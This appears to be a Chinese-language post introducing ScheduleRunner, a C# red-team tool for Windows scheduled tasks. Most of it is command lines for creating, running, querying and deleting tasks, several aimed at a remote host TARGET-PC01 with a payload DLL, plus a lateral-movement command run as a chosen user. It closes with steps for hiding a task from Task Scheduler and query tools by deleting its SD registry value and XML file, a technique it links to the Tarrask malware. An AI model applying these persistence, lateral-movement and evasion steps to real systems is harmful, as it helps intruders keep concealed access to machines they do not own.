ScheduleRunner - 一个C# 工具,可更灵活地自定义计划任务,以实现红队操作中的持久性和横向移动
https://github.com/netero1010/ScheduleRunner
计划任务是过去十年中最流行的攻击技术之一,现在它仍然被黑客/红队常用来进行持久性和横向移动。
创建一个名为Cleanup
的计划任务,该任务将在每天晚上 11:30 执行
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Somedescription" /author:netero1010
创建一个名为Cleanup
的计划任务,该任务将在远程服务器上每 4 小时执行一次
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll/remoteserver:TARGET-PC01
删除名为Cleanup
的计划任务
ScheduleRunner.exe /method:delete /taskname:Cleanup
执行名为Cleanup
的计划任务
ScheduleRunner.exe /method:run /taskname:Cleanup
查询远程服务器上“\Microsoft\Windows\CertificateServicesClient”文件夹下名为Cleanup
的计划任务的详细信息
ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
查询远程服务器上特定文件夹"\Microsoft\Windows\CertificateServicesClient"下的所有计划任务
ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
查询计划任务中的所有子文件夹
ScheduleRunner.exe /method:queryfolders
使用计划任务执行横向移动到使用特定用户帐户的远程服务器
ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010
使用隐藏计划任务技术创建一个名为“清理”的计划任务:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Somedescription" /author:netero1010 /technique:hide
删除使用隐藏计划任务技术的名为Cleanup
的计划任务:
ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide
早在2021年有被研究过https://paper.seebug.org/1464/
最近微软才捕获到有工具名为Tarrask的防御规避恶意软件,该恶意软件创建“隐藏”计划任务,以及删除任务属性的后续操作,以隐藏传统的计划任务识别手段。
本工具(ScheduleRunner)旨在使计划任务无法被工具查询,并且无法被任务计划程序看到。
要使用此技术,需要拥有SYSTEM权限, ScheduleRunner 将执行以下操作:
从"HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Schedule\TaskCache\Tree\[任务名称]"中删除"SD"值
删除计划任务 XML 文件"C:\Windows\System32\Tasks\[任务名称]"
要删除使用此技术创建的计划任务,需要在删除方法中添加"/technique:hide"。